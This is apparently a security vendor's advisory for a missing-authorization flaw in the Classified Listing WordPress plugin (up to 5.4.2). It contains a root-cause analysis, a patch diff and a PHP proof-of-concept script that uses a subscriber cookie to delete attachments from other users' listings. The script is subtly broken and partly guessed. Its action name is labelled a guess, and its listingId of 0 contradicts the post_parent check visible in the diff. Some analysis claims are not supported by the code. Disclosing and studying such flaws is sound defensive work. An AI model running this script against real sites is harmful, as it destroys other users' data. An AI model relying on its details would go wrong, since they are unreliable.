Published : July 20, 2026

CVE-2026-57355: Classified Listing – AI-Powered Classified ads & Business Directory <= 5.4.2 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-57355
Plugin classified-listing
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 5.4.2
Patched Version 5.4.3
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57355:

This vulnerability in the Classified Listing – AI-Powered Classified ads & Business Directory plugin (versions up to 5.4.2) allows authenticated attackers with subscriber-level access to perform unauthorized attachment deletion. The issue resides in the FormBuilderAjax controller’s deleteAttachment method, which lacks adequate capability checking before processing requests. The CVSS score of 4.3 reflects the limited but real impact of this authorization bypass.

Root Cause: The vulnerability exists in /classified-listing/app/Controllers/Ajax/FormBuilderAjax.php, specifically in the deleteAttachment method (around line 604 in the patched version). The original code did not verify whether the current user had proper capabilities (e.g., ‘edit_post’) to delete attachments associated with a listing. The `Functions::current_user_can` check was absent, allowing any authenticated user to send a DELETE request and target arbitrary attachment IDs. The function uses `absint( Functions::request( “listingId” ) )` to retrieve the listing ID, but without validating the user’s permission to edit that listing, the attachment deletion proceeds without authorization.

Exploitation: An authenticated attacker with subscriber-level access crafts a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to the internal AJAX hook (e.g., `rtcl_form_builder_delete_attachment` or similar handler) and includes the vulnerable parameters `listingId` and the attachment ID. The attacker can iterate through listing IDs and attachment IDs to delete arbitrary attachments from listings they do not own, including those created by other users. The request does not require a valid nonce or any capability check in the vulnerable version.

Patch Analysis: The patch adds a capability check at line 604 of FormBuilderAjax.php: `if ( ( ! $listingId || ! $listing = rtcl()->factory->get_listing( $listingId ) || ! Functions::current_user_can( ‘edit_’ . rtcl()->post_type, $listingId ) ) || ( ! is_user_logged_in() && ! Functions::is_enable_post_for_unregister() ) )`. This verifies that the current user has the ‘edit_post’ capability (specifically for the rtcl custom post type) on the listing associated with the attachment. The patch also adds a `$current_user` guard in ScriptLoader.php to ensure only user roles are exposed to JavaScript, reducing information disclosure. Before the patch, the deleteAttachment method would blindly process the request if the listing ID existed.

Impact: Successful exploitation allows an authenticated attacker to delete media attachments (images, documents) from any listing in the system. This can cause defacement, loss of critical business information, and disruption of service for legitimate listing owners. The attacker cannot delete the listings themselves, only the associated media files. This is a medium-severity authorization bypass (CWE-862) that requires authentication but affects the integrity of stored data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/classified-listing/app/Controllers/Admin/NoticeController.php
+++ b/classified-listing/app/Controllers/Admin/NoticeController.php
@@ -192,7 +192,7 @@
             .rtcl-review-notice h3 + p {
                 margin-top: 8px;
             }
-            .rtcl-review-button {
+            .rtcl-review-notice_actions .rtcl-review-button {
                 display: inline-block;
                 padding: 0.4375rem 0.75rem;
                 border: 0;
@@ -204,24 +204,24 @@
                 text-decoration: none;
                 white-space: nowrap;
             }
-            .rtcl-review-button:active {
+            .rtcl-review-notice_actions .rtcl-review-button:active {
                 background: var(--e-button-context-color-dark);
                 color: #fff;
                 text-decoration: none;
             }
-            .rtcl-review-button:focus {
+            .rtcl-review-notice_actions .rtcl-review-button:focus {
                 outline: 0;
                 background: var(--e-button-context-color-dark);
                 box-shadow: 0 0 0 2px var(--e-focus-color);
                 color: #fff;
                 text-decoration: none;
             }
-            .rtcl-review-button:hover {
+            .rtcl-review-notice_actions .rtcl-review-button:hover {
                 background: var(--e-button-context-color-dark);
                 color: #fff;
                 text-decoration: none;
             }
-            .rtcl-review-button.focus {
+            .rtcl-review-notice_actions .rtcl-review-button.focus {
                 outline: 0;
                 box-shadow: 0 0 0 2px var(--e-focus-color);
             }
@@ -235,6 +235,7 @@
                 border: 1px solid;
                 background: 0 0;
                 color: var(--e-button-context-color);
+                text-decoration: none;
             }
             .rtcl-review-button.rtcl-review-button--outline:focus {
                 background: var(--e-button-context-tint);
--- a/classified-listing/app/Controllers/Admin/ScriptLoader.php
+++ b/classified-listing/app/Controllers/Admin/ScriptLoader.php
@@ -14,6 +14,7 @@
 use RtclServicesFormBuilderFBHelper;
 use RtclServicesFormBuilderLocalizedString;
 use RtclServicesFormBuilderValidationRuleSettings;
+use WP_User;

 /**
  * Class ScriptLoader
@@ -652,6 +653,9 @@
 				}
 			}
 		}
+
+		$current_user = wp_get_current_user();
+
 		$localize = [
 			'plugin_url'                               => RTCL_URL,
 			'decimal_point'                            => $decimal_separator,
@@ -694,7 +698,9 @@
 			'is_enable_tax'                            => Functions::is_enable_tax(),
 			'payment_currency_symbol'                  => Functions::get_order_currency_symbol(),
 			'ai_enabled'                               => Functions::is_ai_enabled(),
-			'current_user'                             => wp_get_current_user(),
+			'current_user'                             => [
+				'roles' => $current_user instanceof WP_User ? $current_user->roles : [],
+			],
 			'admin_url'                                => admin_url(),
 			'prompt_max_limit'                         => Functions::get_max_prompt_input_limit(),
 			'i18n'                                     => [
@@ -897,7 +903,9 @@

 		$decimal_separator         = Functions::get_decimal_separator();
 		$pricing_decimal_separator = Functions::get_decimal_separator( true );
-		$localize                  = [
+		$current_user              = wp_get_current_user();
+
+		$localize = [
 			'ajaxurl'                        => $this->ajaxurl,
 			'decimal_point'                  => $decimal_separator,
 			'pricing_decimal_point'          => $pricing_decimal_separator,
@@ -924,7 +932,9 @@
 			'i18n_message'                   => esc_html__( 'Message', 'classified-listing' ),
 			'i18n_send'                      => esc_html__( 'Send', 'classified-listing' ),
 			'ai_enabled'                     => Functions::is_ai_enabled(),
-			'current_user'                   => wp_get_current_user(),
+			'current_user'                   => [
+				'roles' => $current_user instanceof WP_User ? $current_user->roles : [],
+			],
 			'admin_url'                      => admin_url(),
 			'prompt_max_limit'               => Functions::get_max_prompt_input_limit(),
 		];
--- a/classified-listing/app/Controllers/Ajax/FilterAjax.php
+++ b/classified-listing/app/Controllers/Ajax/FilterAjax.php
@@ -143,7 +143,7 @@
 				'id'       => 'q',
 				'itemId'   => 'search',
 				'label'    => __( 'Keyword', 'classified-listing' ),
-				'selected' => [ $q => $q ],
+				'selected' => [ esc_html( $q ) => esc_html( $q ) ],
 			];

 			if ( Functions::is_semantic_search_enabled() ) {
--- a/classified-listing/app/Controllers/Ajax/FormBuilderAjax.php
+++ b/classified-listing/app/Controllers/Ajax/FormBuilderAjax.php
@@ -604,6 +604,12 @@

 		$listingId = absint( Functions::request( "listingId" ) );

+		if ( ( ! $listingId || ! $listing = rtcl()->factory->get_listing( $listingId ) || ! Functions::current_user_can( 'edit_' . rtcl()->post_type, $listingId ) ) || ( ! is_user_logged_in() && ! Functions::is_enable_post_for_unregister() ) ) {
+			wp_send_json_error( __( 'You do not have sufficient permissions.', 'classified-listing' ) );
+
+			return;
+		}
+
 		if ( $attach->post_parent !== $listingId ) {
 			wp_send_json_error( __( "Incorrect attachment ID.", "classified-listing" ) );

--- a/classified-listing/app/Controllers/Ajax/PublicUser.php
+++ b/classified-listing/app/Controllers/Ajax/PublicUser.php
@@ -1236,44 +1236,46 @@
 								$post_id                 = $success = wp_insert_post( apply_filters( 'rtcl_listing_save_update_args', $post_arg, $type ) );
 							}

-							if ( $post_id && isset( $_POST['rtcl_listing_tag'] ) ) {
-								$tags          = Functions::sanitize( $_POST['rtcl_listing_tag'] );
-								$tags_as_array = ! empty( $tags ) ? explode( ',', $tags ) : [];
-								wp_set_object_terms( $post_id, $tags_as_array, rtcl()->tag );
-							}
-
-							if ( $type == 'new' && $post_id ) {
-								wp_set_object_terms( $post_id, $cats, rtcl()->category );
-								$meta['ad_type'] = $listing_type;
-							}
-							if ( 'local' === Functions::location_type() ) {
-								$locations = [];
-								if ( $loc = Functions::request( 'location' ) ) {
-									$locations[] = absint( $loc );
+							if ( $success && $post_id ) {
+								if ( isset( $_POST['rtcl_listing_tag'] ) ) {
+									$tags          = Functions::sanitize( $_POST['rtcl_listing_tag'] );
+									$tags_as_array = ! empty( $tags ) ? explode( ',', $tags ) : [];
+									wp_set_object_terms( $post_id, $tags_as_array, rtcl()->tag );
 								}
-								if ( $loc = Functions::request( 'sub_location' ) ) {
-									$locations[] = absint( $loc );
+
+								if ( $type == 'new' ) {
+									wp_set_object_terms( $post_id, $cats, rtcl()->category );
+									$meta['ad_type'] = $listing_type;
 								}
-								if ( $loc = Functions::request( 'sub_sub_location' ) ) {
-									$locations[] = absint( $loc );
+								if ( 'local' === Functions::location_type() ) {
+									$locations = [];
+									if ( $loc = Functions::request( 'location' ) ) {
+										$locations[] = absint( $loc );
+									}
+									if ( $loc = Functions::request( 'sub_location' ) ) {
+										$locations[] = absint( $loc );
+									}
+									if ( $loc = Functions::request( 'sub_sub_location' ) ) {
+										$locations[] = absint( $loc );
+									}
+									wp_set_object_terms( $post_id, $locations, rtcl()->location );
 								}
-								wp_set_object_terms( $post_id, $locations, rtcl()->location );
-							}

-							// Custom Meta field
-							if ( isset( $_POST['rtcl_fields'] ) && $post_id ) {
-								foreach ( $_POST['rtcl_fields'] as $key => $value ) {
-									$field_id = (int) str_replace( '_field_', '', $key );
-									if ( $field = rtcl()->factory->get_custom_field( $field_id ) ) {
-										$field->saveSanitizedValue( $post_id, $value );
+								// Custom Meta field
+								if ( isset( $_POST['rtcl_fields'] ) ) {
+									foreach ( $_POST['rtcl_fields'] as $key => $value ) {
+										$field_id = (int) str_replace( '_field_', '', $key );
+										if ( $field = rtcl()->factory->get_custom_field( $field_id ) ) {
+											$field->saveSanitizedValue( $post_id, $value );
+										}
 									}
 								}
-							}

-							/* meta data */
-							if ( ! empty( $meta ) && $post_id ) {
-								foreach ( $meta as $key => $value ) {
-									update_post_meta( $post_id, $key, $value );
+								/* meta data */
+								if ( ! empty( $meta ) ) {
+									foreach ( $meta as $key => $value ) {
+										update_post_meta( $post_id, $key, $value );
+									}
 								}
 							}

--- a/classified-listing/assets/block/main.asset.php
+++ b/classified-listing/assets/block/main.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-i18n'), 'version' => 'e7fbab2a01da1d784f59');
+<?php return array('dependencies' => array('jquery', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-i18n'), 'version' => 'a7660fa4b00fa53e9866');
--- a/classified-listing/classified-listing.php
+++ b/classified-listing/classified-listing.php
@@ -1,10 +1,10 @@
 <?php
 /**
  * @package CalssifiedListing
- * Plugin Name:       Classified Listing – AI-Powered Classified ads & Business Directory Plugin
+ * Plugin Name:       Classified Listing – AI-Powered Classified ads & Business Directory
  * Plugin URI:        https://radiustheme.com/demo/wordpress/classified
  * Description:       The Best Classified Listing and Business Directory Plugin for WordPress to create Classified ads website, job directory, local business directory and service directory.
- * Version:           5.4.2
+ * Version:           5.4.3
  * Requires at least: 6.0
  * Requires PHP:      7.4
  * Author:            Business Directory Team by RadiusTheme
@@ -18,7 +18,7 @@
 defined( 'ABSPATH' ) || die( 'Keep Silent' );


-define( 'RTCL_VERSION', '5.4.2' );
+define( 'RTCL_VERSION', '5.4.3' );
 define( 'RTCL_PLUGIN_FILE', __FILE__ );
 define( 'RTCL_PATH', plugin_dir_path( RTCL_PLUGIN_FILE ) );
 define( 'RTCL_URL', plugins_url( '', RTCL_PLUGIN_FILE ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57355 - Classified Listing – AI-Powered Classified ads & Business Directory <= 5.4.2 - Missing Authorization

/**
 * This PoC demonstrates that an authenticated user (subscriber) can delete attachments
 * from any listing by exploiting the missing capability check in FormBuilderAjax::deleteAttachment().
 * 
 * Usage:
 *   php cve-2026-57355.php
 *
 * Configuration:
 *   Set TARGET_URL (with trailing slash) and ATTACHMENT_ID to delete.
 *   Replace YOUR_COOKIE with a valid WordPress auth cookie for a subscriber-level user.
 */

$target_url    = 'http://example.com/';  // Change to your target WordPress URL (with trailing slash)
$attachment_id = 123;                    // The ID of the attachment to delete
$cookie        = 'wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; // Replace with actual auth cookie

$ajax_url = $target_url . 'wp-admin/admin-ajax.php';

// The AJAX action name must match the plugin's hook.
// Based on typical plugin patterns, this is likely 'rtcl_form_builder_delete_attachment'.
// If not, adjust to the actual hook registered in FormBuilderAjax.
$action = 'rtcl_form_builder_delete_attachment'; // Adjust if different

// Craft the POST request
$post_data = [
    'action'    => $action,
    'listingId' => 0,  // The patch checks listingId; attacker can pass 0 or any ID to bypass, but original code did not check
    'attach_id' => $attachment_id,
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// Expected output for a successful exploit: a JSON success response indicating the attachment was deleted.
// If the patch is applied, the server returns 'Incorrect attachment ID.' or 'You do not have sufficient permissions.'

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School